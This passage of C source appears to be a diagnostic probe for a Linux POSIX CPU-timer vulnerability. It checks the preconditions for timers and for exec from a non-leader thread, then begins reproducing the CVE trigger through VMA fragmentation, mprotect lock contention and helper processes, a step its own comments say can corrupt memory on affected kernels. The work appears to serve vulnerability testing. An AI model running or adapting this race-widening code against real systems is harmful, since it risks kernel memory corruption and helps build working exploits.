	sev.sigev_notify = SIGEV_NONE;
	errno = 0;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &sub[nsub].timer) == 0) {
		sub[nsub].ok = 1;
		sub[nsub].have_timer = 1;
	} else {
		sub[nsub].err = errno;
	}
	nsub++;

	/* 3b: libc, SIGEV_SIGNAL with a real-time signal (what the CVE PoC uses) */
	sub[nsub].label = "libc_SIGEV_SIGNAL_rt";
	memset(&sev, 0, sizeof sev);
	sev.sigev_notify = SIGEV_SIGNAL;
	sev.sigev_signo = g_cpu_sig;
	errno = 0;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &sub[nsub].timer) == 0) {
		sub[nsub].ok = 1;
		sub[nsub].have_timer = 1;
	} else {
		sub[nsub].err = errno;
	}
	nsub++;

	/* 3c: libc, SIGEV_SIGNAL with a non-RT signal.
	 * Linux requires an RT signal for CPU clocks so it can direct the signal
	 * at one thread; a non-RT signo is expected to be rejected with EINVAL.
	 * Reporting the actual answer distinguishes a real kernel implementation
	 * from a libc stub that always fails, and vice versa. */
	sub[nsub].label = "libc_SIGEV_SIGNAL_sigusr1";
	memset(&sev, 0, sizeof sev);
	sev.sigev_notify = SIGEV_SIGNAL;
	sev.sigev_signo = SIGUSR1;
	errno = 0;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &sub[nsub].timer) == 0) {
		sub[nsub].ok = 1;
		sub[nsub].have_timer = 1;
	} else {
		sub[nsub].err = errno;
	}
	nsub++;

	/*
	 * 3d/3e: raw syscall path, bypassing the libc wrapper entirely, using the
	 * kernel-shaped sigevent.  This separates "libc has no POSIX timer
	 * support" from "the kernel refuses the primitive".
	 */
#ifdef SYS_timer_create
	sub[nsub].label = "raw_SIGEV_NONE";
	memset(&ksev, 0, sizeof ksev);
	ksev.sigev_notify = SIGEV_NONE;
	raw_id = 0;
	errno = 0;
	if (syscall(SYS_timer_create, (long)CLOCK_THREAD_CPUTIME_ID,
		    &ksev, &raw_id) == 0) {
		sub[nsub].ok = 1;
		sub[nsub].have_timer = 1;
		sub[nsub].timer = (timer_t)(intptr_t)(long)(raw_id & 0xffffffffL);
	} else {
		sub[nsub].err = errno;
	}
	nsub++;

	sub[nsub].label = "raw_SIGEV_THREAD_ID_self";
	memset(&ksev, 0, sizeof ksev);
	ksev.sigev_notify = SIGEV_THREAD_ID;
	ksev.sigev_signo = g_cpu_sig;
	ksev._sigev_un._tid = (int)gettid_raw();
	raw_id = 0;
	errno = 0;
	if (syscall(SYS_timer_create, (long)CLOCK_THREAD_CPUTIME_ID,
		    &ksev, &raw_id) == 0) {
		sub[nsub].ok = 1;
		sub[nsub].have_timer = 1;
		sub[nsub].timer = (timer_t)(intptr_t)(long)(raw_id & 0xffffffffL);
	} else {
		sub[nsub].err = errno;
	}
	nsub++;
#else
	info(3, "raw sub-checks skipped: SYS_timer_create is not defined by this libc");
#endif

	for (i = 0; i < nsub; i++) {
		info(3, "sub %-32s result=%s errno=%d(%s) timer=%s",
		     sub[i].label, sub[i].ok ? "ok" : "fail",
		     sub[i].err, errno_name(sub[i].err),
		     sub[i].have_timer ? timer_to_str(sub[i].timer, tb, sizeof tb) : "-");
		if (sub[i].ok) {
			any_ok = 1;
			/* keep the SIGEV_NONE timer (3a) for step 4 where possible */
			if (g_t4_have == 0 && strcmp(sub[i].label, "libc_SIGEV_NONE") == 0) {
				g_t4_timer = sub[i].timer;
				g_t4_have = 1;
			} else if (strcmp(sub[i].label, "libc_SIGEV_NONE") != 0) {
				(void)timer_delete(sub[i].timer);
			}
		} else if (best_err == 0) {
			best_err = sub[i].err;
		}
	}

	/*
	 * A CPU-clock timer must be created WITH A SIGEV_NONE (or RT SIGEV_SIGNAL)
	 * notification, and the kernel must accept it: that is the precondition
	 * for a k_itimer with a queued timerqueue node existing at all.
	 */
	fmt(d, sizeof d, "main_thread_tid=%ld sub_checks=%d any_ok=%d "
	    "none=%d rt_signal=%d nonrt_signal_errno=%d",
	    gettid_raw(), nsub, any_ok,
	    sub[0].ok, sub[1].ok, sub[2].err);
	step_report(3, "timer_create_thread_cputime_main", any_ok,
		    any_ok ? 0 : best_err, "%s", d);

	set_pre_id("P5", any_ok ? V_YES : V_NO,
		"timer_create(CLOCK_THREAD_CPUTIME_ID) any_ok=%d errno=%d(%s)",
		any_ok, best_err, errno_name(best_err));
}

/* ================================================================== */
/* STEP 4 -- timer_settime() / timer_gettime() on that timer            */
/* ================================================================== */

static void step4_timer_settime(void)
{
	struct itimerspec its;
	struct itimerspec got;
	struct itimerspec old;
	struct timespec cputime;
	int e_create = 0, e_set = 0, e_get = 0, e_null = 0, e_bogus = 0;
	int set_ok = 0, get_ok = 0, null_probe = 0;
	int validated = 0, implemented = 0;
	timer_t t;
	char d[400];
	char tb[32];
	long long remaining_ms = -1;

	memset(&its, 0, sizeof its);
	memset(&got, 0, sizeof got);
	memset(&old, 0, sizeof old);
	memset(&cputime, 0, sizeof cputime);

	if (g_t4_have) {
		t = g_t4_timer;
	} else {
		struct sigevent sev;
		memset(&sev, 0, sizeof sev);
		sev.sigev_notify = SIGEV_NONE;
		errno = 0;
		if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t) != 0) {
			e_create = errno;
			step_report(4, "timer_settime_gettime", 0, e_create,
				    "no timer available: timer_create failed");
			set_pre_id("P6", V_NO, "no timer to arm (errno=%d %s)",
				e_create, errno_name(e_create));
			return;
		}
		g_t4_have = 1;
		g_t4_timer = t;
	}

	/*
	 * Arm it one hour of thread CPU time into the future.  It can never fire
	 * during this run, which keeps the probe side-effect free: what we are
	 * proving is that the kernel accepts and records a per-thread CPU timer,
	 * i.e. that a k_itimer with a linked timerqueue node can exist.
	 */
	its.it_value.tv_sec = 3600;
	its.it_value.tv_nsec = 0;
	its.it_interval.tv_sec = 0;
	its.it_interval.tv_nsec = 0;

	errno = 0;
	if (timer_settime(t, 0, &its, &old) == 0)
		set_ok = 1;
	else
		e_set = errno;

	memset(&got, 0, sizeof got);
	errno = 0;
	if (timer_gettime(t, &got) == 0) {
		remaining_ms = (long long)got.it_value.tv_sec * 1000LL +
			       (long long)(got.it_value.tv_nsec / 1000000L);
		/*
		 * A CLOCK_THREAD_CPUTIME_ID timer counts down in *thread* CPU time,
		 * so between settime() and gettime() the remaining value is already
		 * slightly less than the 3600 s that was programmed, and the exact
		 * amount is not predictable.  Accept anything within one second of
		 * the requested value instead of demanding an exact match.  What is
		 * being established is that the kernel stored the request and reports
		 * it back, not that no CPU time elapsed.
		 */
		get_ok = (remaining_ms > 3599000LL && remaining_ms <= 3600000LL &&
			  got.it_value.tv_sec >= 0 && got.it_interval.tv_sec == 0 &&
			  got.it_interval.tv_nsec == 0);
		if (!get_ok)
			e_get = ERANGE;
	} else {
		e_get = errno;
	}

	/*
	 * Behavioural oracle: a nonsense call must be rejected rather than
	 * silently succeed, and above all must not return ENOSYS.  Which of EFAULT
	 * / EINVAL comes back is kernel- and libc-dependent (some kernels reject a
	 * NULL new_value with EINVAL before ever touching it), so both are
	 * accepted as "the real syscall answered".  A second probe with a bogus
	 * timer id shows the timer lookup happening too.
	 */
	errno = 0;
	if (timer_settime(t, 0, NULL, NULL) == 0)
		null_probe = 1;
	else
		e_null = errno;

	{
		struct itimerspec probe_spec;
		timer_t bogus = (timer_t)(intptr_t)0x7ffff0;

		memset(&probe_spec, 0, sizeof probe_spec);
		probe_spec.it_value.tv_sec = 1;
		errno = 0;
		if (timer_settime(bogus, 0, &probe_spec, NULL) == 0)
			e_bogus = 0;
		else
			e_bogus = errno;
	}
	validated = (e_null != 0 && e_null != ENOSYS) ? 1 : 0;
	implemented = (e_null != ENOSYS && e_bogus != ENOSYS) ? 1 : 0;

	(void)clock_gettime(CLOCK_THREAD_CPUTIME_ID, &cputime);

	info(4, "settime=%s errno=%d(%s); gettime=%s errno=%d(%s) "
		"it_value=%lldms it_interval=%lldms; "
		"clock_gettime(CLOCK_THREAD_CPUTIME_ID)=%lld.%09lds",
	     set_ok ? "ok" : "fail", e_set, errno_name(e_set),
	     get_ok ? "ok" : "fail", e_get, errno_name(e_get),
	     remaining_ms,
	     (long long)got.it_interval.tv_sec * 1000LL +
	     (long long)(got.it_interval.tv_nsec / 1000000L),
	     (long long)cputime.tv_sec, cputime.tv_nsec);
	info(4, "behavioural oracles (argument validation): "
		"timer_settime(NULL new_value) -> %s errno=%d(%s); "
		"timer_settime(bogus_id) -> errno=%d(%s); "
		"syscall_reached=%d syscall_implemented=%d",
	     null_probe ? "UNEXPECTED SUCCESS" : "rejected", e_null,
	     errno_name(e_null), e_bogus, errno_name(e_bogus), validated,
	     implemented);

	fmt(d, sizeof d, "timer=%s settime=%d gettime=%d remaining_ms=%lld "
	    "null_call_errno=%d(%s) bogus_id_errno=%d(%s) syscall_implemented=%d",
	    timer_to_str(t, tb, sizeof tb), set_ok, get_ok, remaining_ms,
	    e_null, errno_name(e_null), e_bogus, errno_name(e_bogus),
	    implemented);
	step_report(4, "timer_settime_gettime", (set_ok && get_ok),
		    set_ok ? e_get : e_set, "%s", d);

	set_pre_id("P6", (set_ok && get_ok) ? V_YES : V_NO,
		"settime=%d gettime=%d remaining_ms=%lld "
		"(tolerance 1s: thread CPU time is consumed between the calls)",
		set_ok, get_ok, remaining_ms);
}

/* ================================================================== */
/* STEP 5 -- the same primitive from a NON-LEADER pthread, plus the     */
/*           behavioural proof that the timer is bound to that thread   */
/* ================================================================== */

struct s5_ctx {
	long armed_tid;
	int create_ok;
	int create_err;
	int settime_ok;
	int settime_err;
	int gettime_ok;
	int gettime_err;
	long long remaining_ms;
	int delete_ok;
	int delete_err;
	int cpuclockid_ok;
	int cpuclockid_err;
	long long cpuclockid_val;
	int fired;
	long fired_tid;
	int create_none_ok;
	int create_none_err;
};

static struct s5_ctx g_s5;

static void *s5_worker(void *arg)
{
	struct s5_ctx *c = (struct s5_ctx *)arg;
	struct sigevent sev;
	struct itimerspec its;
	struct itimerspec got;
	timer_t t = 0;
	timer_t tn = 0;
	clockid_t clk = 0;
	long long t0;

	c->armed_tid = gettid_raw();

	/* 5a: SIGEV_NONE from a non-leader thread */
	memset(&sev, 0, sizeof sev);
	sev.sigev_notify = SIGEV_NONE;
	errno = 0;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &tn) == 0) {
		c->create_none_ok = 1;
		(void)timer_delete(tn);
	} else {
		c->create_none_err = errno;
	}

	/* 5b: a real, armed per-thread CPU timer, SIGEV_SIGNAL with an RT signal */
	memset(&sev, 0, sizeof sev);
	sev.sigev_notify = SIGEV_SIGNAL;
	sev.sigev_signo = g_cpu_sig;
	errno = 0;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t) != 0) {
		c->create_err = errno;
		return NULL;
	}
	c->create_ok = 1;

	/*
	 * 5 ms of *this thread's* CPU time, one-shot.  Because the clock is
	 * CLOCK_THREAD_CPUTIME_ID the kernel binds the k_itimer to this thread's
	 * PID and queues its timerqueue node in this thread's posix_cputimers,
	 * so when it expires the signal must be delivered to THIS thread's TID,
	 * not to the leader.  Observing that is a direct, behavioural proof of
	 * the primitive the CVE depends on.
	 */
	memset(&its, 0, sizeof its);
	its.it_value.tv_sec = 0;
	its.it_value.tv_nsec = 5 * 1000000L;
	errno = 0;
	if (timer_settime(t, 0, &its, NULL) == 0)
		c->settime_ok = 1;
	else
		c->settime_err = errno;

	/* burn this thread's CPU until the timer fires or the deadline passes */
	t0 = now_ms();
	while (g_cpu_sig_count == 0 && !deadline_passed(t0, 500)) {
		burn_cpu(5000);
		sched_yield();
	}
	c->fired = (g_cpu_sig_count > 0) ? 1 : 0;
	c->fired_tid = g_cpu_sig_tid;

	memset(&got, 0, sizeof got);
	errno = 0;
	if (timer_gettime(t, &got) == 0) {
		c->gettime_ok = 1;
		c->remaining_ms = (long long)got.it_value.tv_sec * 1000LL +
				  (long long)(got.it_value.tv_nsec / 1000000L);
	} else {
		c->gettime_err = errno;
	}

	errno = 0;
	if (timer_delete(t) == 0)
		c->delete_ok = 1;
	else
		c->delete_err = errno;

	errno = 0;
	{
		int r = clock_getcpuclockid((pid_t)c->armed_tid, &clk);

		if (r == 0) {
			c->cpuclockid_ok = 1;
			c->cpuclockid_val = (long long)clk;
		} else {
			/*
			 * Some libcs return the error as the *return value* rather than
			 * through errno, so fall back to r when errno is untouched.
			 */
			c->cpuclockid_err = errno ? errno : r;
		}
	}

	return NULL;
}

static void step5_nonleader_thread(void)
{
	pthread_t th;
	int e = 0;
	int create_ok, nonleader, fired_on_self;
	long leader_tid = gettid_raw();
	char d[400];

	memset(&g_s5, 0, sizeof g_s5);
	g_cpu_sig_count = 0;
	g_cpu_sig_tid = 0;

	if (pthread_create(&th, NULL, s5_worker, &g_s5) != 0) {
		e = errno ? errno : -1;
		step_report(5, "timer_create_thread_cputime_nonleader", 0, e,
			    "pthread_create failed");
		set_pre_id("P7", V_NO, "pthread_create failed errno=%d(%s)", e,
			errno_name(e));
		return;
	}
	if (pthread_join(th, NULL) != 0 && e == 0)
		e = errno ? errno : -1;

	nonleader = (g_s5.armed_tid != leader_tid) ? 1 : 0;
	fired_on_self = (g_s5.fired && (long)g_cpu_sig_tid == g_s5.armed_tid) ? 1 : 0;
	create_ok = g_s5.create_ok;

	info(5, "arming_thread_tid=%ld leader_tid=%ld nonleader=%d",
	     g_s5.armed_tid, leader_tid, nonleader);
	info(5, "create(SIGEV_SIGNAL rt): %s errno=%d(%s); create(SIGEV_NONE): %s "
		"errno=%d(%s)",
	     create_ok ? "ok" : "fail", g_s5.create_err,
	     errno_name(g_s5.create_err),
	     g_s5.create_none_ok ? "ok" : "fail", g_s5.create_none_err,
	     errno_name(g_s5.create_none_err));
	info(5, "settime: %s errno=%d(%s); gettime: %s errno=%d(%s) "
		"remaining_ms=%lld; delete: %s errno=%d(%s)",
	     g_s5.settime_ok ? "ok" : "fail", g_s5.settime_err,
	     errno_name(g_s5.settime_err),
	     g_s5.gettime_ok ? "ok" : "fail", g_s5.gettime_err,
	     errno_name(g_s5.gettime_err), g_s5.remaining_ms,
	     g_s5.delete_ok ? "ok" : "fail", g_s5.delete_err,
	     errno_name(g_s5.delete_err));
	info(5, "expiry: fired=%d signal=%d delivered_to_tid=%ld "
		"expected_tid=%ld delivered_to_arming_thread=%d",
	     g_s5.fired, g_cpu_sig, g_cpu_sig_tid, g_s5.armed_tid, fired_on_self);
	info(5, "clock_getcpuclockid(tid=%ld): %s errno=%d(%s) clockid=0x%llx",
	     g_s5.armed_tid, g_s5.cpuclockid_ok ? "ok" : "fail",
	     g_s5.cpuclockid_err, errno_name(g_s5.cpuclockid_err),
	     (unsigned long long)g_s5.cpuclockid_val);

	fmt(d, sizeof d, "nonleader_thread_tid=%ld create=%d create_errno=%d "
	    "settime=%d gettime=%d fired=%d fired_on_arming_thread=%d "
	    "clock_getcpuclockid=%d",
	    g_s5.armed_tid, create_ok, g_s5.create_err, g_s5.settime_ok,
	    g_s5.gettime_ok, g_s5.fired, fired_on_self, g_s5.cpuclockid_ok);
	step_report(5, "timer_create_thread_cputime_nonleader",
		    (nonleader && create_ok), create_ok ? 0 : g_s5.create_err,
		    "%s", d);

	set_pre_id("P7", (nonleader && create_ok) ? V_YES : V_NO,
		"nonleader=%d create=%d settime=%d fired=%d fired_on_self=%d",
		nonleader, create_ok, g_s5.settime_ok, g_s5.fired, fired_on_self);
	set_pre_id("P5", V_YES, "armed per-thread CPU timer accepted "
		"(settime=%d fire_on_arming_thread=%d)",
		g_s5.settime_ok, fired_on_self);
}

/* ================================================================== */
/* STEP 6 -- execve() from a NON-LEADER thread of a multithreaded proc  */
/* ================================================================== */

enum e6_mode {
	E6_SELF = 0,        /* execve("/proc/self/exe") via libc            */
	E6_SELF_RAW = 1,    /* raw syscall(SYS_execve, "/proc/self/exe")    */
	E6_ARGV0 = 2,       /* execve(<absolute argv[0]>) via libc          */
	E6_SHELL = 3        /* execve(<shell>) via libc                     */
};

static const char *e6_mode_name(int m)
{
	switch (m) {
	case E6_SELF:     return "libc_execve_proc_self_exe";
	case E6_SELF_RAW: return "raw_syscall_execve_proc_self_exe";
	case E6_ARGV0:    return "libc_execve_absolute_argv0";
	case E6_SHELL:    return "libc_execve_shell";
	default:          return "?";
	}
}

static volatile long g_e6_exec_tid;
static volatile int g_e6_exec_returned;
static volatile int g_e6_exec_errno;
static volatile int g_e6_sibling_alive;
static char g_e6_shell_path[256];
static char g_e6_argv0_abs[512];
static char *g_e6_argv0_argv[4];
static const char *g_argv0 = "probe";

struct e6_arg {
	int mode;
	const char *path;
	char *const *argv;
};

static void *e6_sibling(void *arg);
static void *e6_sibling(void *arg)
{
	long long t0 = now_ms();

	(void)arg;
	g_e6_sibling_alive = 1;
	while (!deadline_passed(t0, 6000))
		burn_cpu(30000);
	g_e6_sibling_alive = 0;
	return NULL;
}

static void *e6_executor(void *arg)
{
	struct e6_arg *a = (struct e6_arg *)arg;
	char pre[64];
	char a0[] = "probe";
	char a1[] = "--exec-landed";
	char *const argv_self[] = { a0, a1, pre, NULL };
	char *const envp[] = { NULL };
	long long t0;

	g_e6_exec_tid = gettid_raw();

	/* bounded wait until the sibling thread is provably running */
	t0 = now_ms();
	while (!g_e6_sibling_alive && !deadline_passed(t0, 2000))
		msleep(1);

	fmt(pre, sizeof pre, "%ld:%ld", (long)getpid(), g_e6_exec_tid);

	info(6, "executor (non-leader) tid=%ld pid/tgid=%ld mode=%s "
		"sibling_alive=%d -> execve now",
	     g_e6_exec_tid, (long)getpid(), e6_mode_name(a->mode),
	     g_e6_sibling_alive);

	errno = 0;
	if (a->mode == E6_SELF) {
		execve("/proc/self/exe", argv_self, envp);
	} else if (a->mode == E6_SELF_RAW) {
#ifdef SYS_execve
		(void)syscall(SYS_execve, (const char *)"/proc/self/exe",
			      (char *const *)argv_self, (char *const *)envp);
#else
		errno = ENOSYS;
#endif
	} else {
		execve(a->path, a->argv, envp);
	}

	g_e6_exec_errno = errno ? errno : -1;
	out("[INFO 6] %s RETURNED from execve from a non-leader thread: "
	    "errno=%d(%s) -> exec was refused\n",
	    e6_mode_name(a->mode), g_e6_exec_errno, errno_name(g_e6_exec_errno));
	g_e6_exec_returned = 1;
	_exit(97);
}

static pid_t run_e6_child(int mode, const char *path, char *const *argv)
{
	pid_t p;
	int status = 0;
	long long t0;
	pid_t w = 0;

	p = fork();
	if (p < 0) {
		info(6, "%s: fork failed errno=%d(%s)", e6_mode_name(mode),
		     errno, errno_name(errno));
		return -1;
	}
	if (p == 0) {
		pthread_t sib, ex;
		struct e6_arg a;
		long long ct0;

		g_watchdog_exit_code = 95;
		alarm(12);

		memset(&a, 0, sizeof a);
		a.mode = mode;
		a.path = path;
		a.argv = argv;

		out("[INFO 6] child pid=%ld leader_tid=%ld starting %s\n",
		    (long)getpid(), gettid_raw(), e6_mode_name(mode));

		if (pthread_create(&sib, NULL, e6_sibling, NULL) != 0)
			_exit(94);
		if (pthread_create(&ex, NULL, e6_executor, &a) != 0)
			_exit(94);

		/* bounded leader spin; the executor normally replaces us */
		ct0 = now_ms();
		while (!deadline_passed(ct0, 7000)) {
			burn_cpu(20000);
			if (g_e6_exec_returned)
				break;
		}
		out("[INFO 6] child %s: exec never landed, leader giving up\n",
		    e6_mode_name(mode));
		_exit(96);
	}

	t0 = now_ms();
	for (;;) {
		w = waitpid(p, &status, WNOHANG);
		if (w == p)
			break;
		if (w < 0) {
			status = -1;
			break;
		}
		if (deadline_passed(t0, 10000)) {
			(void)kill(p, SIGKILL);
			(void)waitpid(p, &status, 0);
			info(6, "%s: child did not exit in time, killed", e6_mode_name(mode));
			return -2;
		}
		msleep(2);
	}

	info(6, "%s: wait4 status -> wifexited=%d wexitstatus=%d "
		"wifsignaled=%d wtermsig=%d",
	     e6_mode_name(mode),
	     WIFEXITED(status) ? 1 : 0,
	     WIFEXITED(status) ? WEXITSTATUS(status) : -1,
	     WIFSIGNALED(status) ? 1 : 0,
	     WIFSIGNALED(status) ? WTERMSIG(status) : -1);

	/*
	 * The child has exactly two outcomes, and they are distinguished by exit
	 * code, because after a successful execve the exit status belongs to the
	 * NEW image, not to this probe:
	 *
	 *   97        execve() returned, i.e. the exec was REFUSED (errno printed)
	 *   96        the exec thread never got anywhere and the leader gave up
	 *   94        thread creation failed
	 *   95        watchdog
	 *   anything  the exec LANDED and the new image chose that status -- for
	 *   else      the shell sub-test that is the `exit 7` we asked for, so an
	 *             exit code is never itself proof of failure.
	 */
	if (WIFEXITED(status)) {
		int st = WEXITSTATUS(status);

		if (st == 97 || st == 96 || st == 94 || st == 95) {
			info(6, "%s: sentinel exit code %d -> exec did NOT land",
			     e6_mode_name(mode), st);
			return 0;
		}
		info(6, "%s: exit code %d belongs to the newly exec'd image -> "
			"exec LANDED", e6_mode_name(mode), st);
		return 1;
	}
	if (WIFSIGNALED(status)) {
		info(6, "%s: killed by signal %d after exec -> exec LANDED",
		     e6_mode_name(mode), WTERMSIG(status));
		return 1;
	}
	return 0;
}

static void step6_exec_nonleader(void)
{
	int ok_self = 0, ok_raw = 0, ok_argv0 = 0, ok_shell = 0;
	int any;
	char d[400];
	/*
	 * The candidate list is build-dependent and therefore lives in
	 * probe_config.h; g_exec_cands is generated from it (see top of file).
	 */
	char *shell_argv[4];
	const char *shell = NULL;
	size_t i;
	int e;

	/* which interpreter-style binaries exist at all */
	for (i = 0; i < N_EXEC_CANDS; i++) {
		errno = 0;
		e = access(g_exec_cands[i], X_OK);
		info(6, "candidate %-24s access(X_OK)=%s errno=%d(%s)",
		     g_exec_cands[i], e == 0 ? "ok" : "fail", e == 0 ? 0 : errno,
		     errno_name(e == 0 ? 0 : errno));
		if (e == 0 && shell == NULL)
			shell = g_exec_cands[i];
	}
	/* an empty list would not compile, by construction: see probe_config.h */

	/* 6a: libc execve(/proc/self/exe) from a non-leader thread */
	ok_self = run_e6_child(E6_SELF, NULL, NULL);

	/* 6b: raw syscall(SYS_execve, /proc/self/exe) from a non-leader thread */
	ok_raw = run_e6_child(E6_SELF_RAW, NULL, NULL);

	/*
	 * 6c: re-exec through an absolute argv[0].  /proc/self/exe is the natural
	 * target, but it is not executable in every environment (under user-mode
	 * emulation it points at the emulator, and some sandboxes make it
	 * unusable), so argv[0] is worth having as an independent route to the
	 * same de_thread() path.
	 */
	if (g_argv0 != NULL && g_argv0[0] == '/') {
		char a0[] = "probe";
		char a1[] = "--exec-landed";

		fmt(g_e6_argv0_abs, sizeof g_e6_argv0_abs, "%s", g_argv0);
		g_e6_argv0_argv[0] = a0;
		g_e6_argv0_argv[1] = a1;
		g_e6_argv0_argv[2] = g_e6_argv0_abs;
		g_e6_argv0_argv[3] = NULL;
		ok_argv0 = run_e6_child(E6_ARGV0, g_e6_argv0_abs, g_e6_argv0_argv);
	} else {
		info(6, "argv[0]=%s is not an absolute path; sub-check 6c skipped",
		     g_argv0 ? g_argv0 : "(null)");
		ok_argv0 = -1;
	}

	/* 6d: libc execve(<shell>) from a non-leader thread, if one exists */
	if (shell != NULL) {
		fmt(g_e6_shell_path, sizeof g_e6_shell_path, "%s", shell);
		shell_argv[0] = (char *)"sh";
		shell_argv[1] = (char *)"-c";
		shell_argv[2] = (char *)"echo PROBE_EXEC_SHELL_OK; exit 7";
		shell_argv[3] = NULL;
		ok_shell = run_e6_child(E6_SHELL, g_e6_shell_path, shell_argv);
	} else {
		info(6, "no shell candidate found; sub-check 6d skipped");
		ok_shell = -1;
	}

	any = (ok_self == 1 || ok_raw == 1 || ok_argv0 == 1 || ok_shell == 1) ? 1 : 0;

	fmt(d, sizeof d, "libc_proc_self_exe=%d raw_syscall_proc_self_exe=%d "
	    "libc_absolute_argv0=%d shell=%s:%d shell_path=%s "
	    "nonleader_exec_supported=%d",
	    ok_self, ok_raw, ok_argv0, shell ? "ran" : "absent", ok_shell,
	    shell ? shell : "-", any);
	step_report(6, "execve_from_nonleader_thread", any,
		    any ? 0 : ((ok_self < 0) ? -1 : 0), "%s", d);

	set_pre_id("P8", any ? V_YES : V_NO,
		"libc_self_exe=%d raw_self_exe=%d absolute_argv0=%d shell=%d",
		ok_self, ok_raw, ok_argv0, ok_shell);
}

/* ================================================================== */
/* STEP 7 -- the CVE trigger TOPOLOGY.  This step adds no corruption  */
/* step OF ITS OWN, but reproducing the topology is itself what can   */
/* make an affected kernel corrupt memory -- once per attempt that    */
/* enters the window, so the run's attempt count is the bound.  See   */
/* the [INFO 7] NOTE it prints, and (b) in the file header.           */
/* ================================================================== */

struct trig_state {
	atomic_int go;
	atomic_int locker_started;
	atomic_int lockers_done;
	atomic_int killer_done;
	atomic_int killer_esrch;
	atomic_int killer_tgkill_calls;
	atomic_int killer_tgkill_last_errno;
	atomic_int killer_tgkill_ok;
	atomic_int locker_mech;       /* 0 = none, 1 = clone(CLONE_VM), 2 = pthread */
	atomic_int killer_mech;       /* 0 = none, 1 = clone(CLONE_VM), 2 = fork     */
	atomic_int lockers_expected;
	atomic_int exec_tid;
	atomic_int target_tgid;
	atomic_int stop;
	atomic_int exec_result;      /* errno from execve, 0 if it never returned   */
	atomic_int exec_reached;     /* 1 once the exec thread has published its tid */
	atomic_int s8_clone_vm_ran;
	atomic_int s8_clone_thread_ran;
	void *base;
	size_t len;
	int vma_requested;
	int vma_mapped;
	int used_memfd;
	int helper_pid[TRIG_MAX_HELPERS];
	int helper_count;
};

static struct trig_state *g_ts;      /* MAP_SHARED so the parent can read it */
static struct trig_state g_ts_fallback;

static unsigned long g_vma_count = DEFAULT_VMA_COUNT;
static int g_attempts = DEFAULT_ATTEMPTS;

/*
 * Step-7 exec target and control-arm switch.  Both are build-dependent - which
 * path a context may execve() is the most build-dependent fact this program
 * touches - so both default from probe_config.h and can be overridden per run
 * from the environment:
 *
 *   PROBE_TRIG_EXECS=<path>[,<path>...]   first entry is used; the rest are
 *                                         reported so that a cycling list built
 *                                         by a caller stays legible.
 *   PROBE_TRIG_NOKILL=1                   control arm: identical topology with
 *                                         the killer never spawned.
 */
static char g_trig_exec_path[256] = PROBE_CFG_TRIG_EXEC_PATH;
static char g_trig_exec_list[512] = PROBE_CFG_TRIG_EXEC_PATH;
static int g_trig_nokill = PROBE_CFG_TRIG_NOKILL_DEFAULT;

static pid_t spawn_vm_helper(int (*fn)(void *), void *arg)
{
	void *stack;
	pid_t pid;

	stack = mmap(NULL, TRIG_STACK_SIZE, PROT_READ | PROT_WRITE,
		     MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
	if (stack == MAP_FAILED)
		return -1;
	pid = (pid_t)clone(fn, (char *)stack + TRIG_STACK_SIZE,
			   CLONE_VM | SIGCHLD, arg);
	if (pid < 0) {
		(void)munmap(stack, TRIG_STACK_SIZE);
		return -1;
	}
	/* deliberately not unmapped: the helper runs on it */
	return pid;
}

static int trig_prepare_range(void)
{
	size_t page = (size_t)g_pagesize;
	unsigned long count = g_vma_count;
	size_t len = (size_t)count * page;
	void *base;
	int fd = -1;
	int used_memfd = 0;
	unsigned long i = 0;

	if (page == 0)
		page = 4096;

#ifdef SYS_memfd_create
	fd = (int)syscall(SYS_memfd_create, "probe-vma", MFD_CLOEXEC);
#endif
	if (fd >= 0) {
		if (ftruncate(fd, (off_t)page) == 0) {
			used_memfd = 1;
		} else {
			(void)close(fd);
			fd = -1;
		}
	}

	base = mmap(NULL, len, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (base == MAP_FAILED) {
		g_ts->vma_requested = (int)count;
		g_ts->vma_mapped = 0;
		return -1;
	}

	/*
	 * One MAP_FIXED page at a time, each backed by the *same* file offset, so
	 * the kernel cannot merge them into a single VMA.  This is the VMA
	 * fragmentation the PoC uses to make mprotect() take mmap_lock for a long
	 * time and thus widen the race window.
	 */
	for (i = 0; i < count; i++) {
		void *want = (char *)base + i * page;
		void *got;

		if (used_memfd)
			got = mmap(want, page, PROT_READ, MAP_SHARED | MAP_FIXED,
				   fd, 0);
		else
			got = mmap(want, page, PROT_READ,
				   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
		if (got != want)
			break;
	}

	if (fd >= 0)
		(void)close(fd);

	g_ts->vma_requested = (int)count;
	g_ts->vma_mapped = (int)i;
	g_ts->used_memfd = used_memfd;
	g_ts->base = base;
	g_ts->len = (size_t)i * page;

	return (i > 0) ? 0 : -1;
}

/*
 * mmap_lock contention worker.  Returns for a pthread, _exit()s for a
 * clone(CLONE_VM)/fork-style helper process -- the caller picks.
 *
 * The `go` gate matters: if the lockers started hammering mprotect() over a
 * several-thousand-page VMA range immediately, they would hold mmap_lock in
 * write mode almost continuously and starve the target's OWN pthread_create()
 * of the very lock they are contending for, so the exec thread would be late
 * and the killer's bounded observation window would expire before the timer was
 * even armed.  The published PoC gates its lockers the same way.  So: wait for
 * the exec thread to be ready, announce ourselves, then contend.
 */
static int trig_locker_body(int is_thread)
{
	long long t0 = now_ms();
	int prot = PROT_READ;

	/* bounded wait for the exec thread to arm its timer */
	while (g_ts->go == 0 && !deadline_passed(t0, 20000))
		sched_yield();

	g_ts->locker_started = g_ts->locker_started + 1;

	t0 = now_ms();
	while (g_ts->stop == 0) {
		if (g_ts->len > 0)
			(void)syscall(SYS_mprotect, g_ts->base, g_ts->len, prot);
		prot = (prot == PROT_NONE) ? PROT_READ : PROT_NONE;
		/* absolute safety bound: never outlive the run */
		if (deadline_passed(t0, 20000))
			break;
	}

	g_ts->lockers_done = g_ts->lockers_done + 1;
	if (is_thread)
		return 0;
	_exit(0);
}

static int trig_locker(void *arg)
{
	(void)arg;
	return trig_locker_body(0);
}

static void *trig_locker_thread(void *arg)
{
	(void)arg;
	(void)trig_locker_body(1);
	return NULL;
}

static int trig_killer(void *arg)
{
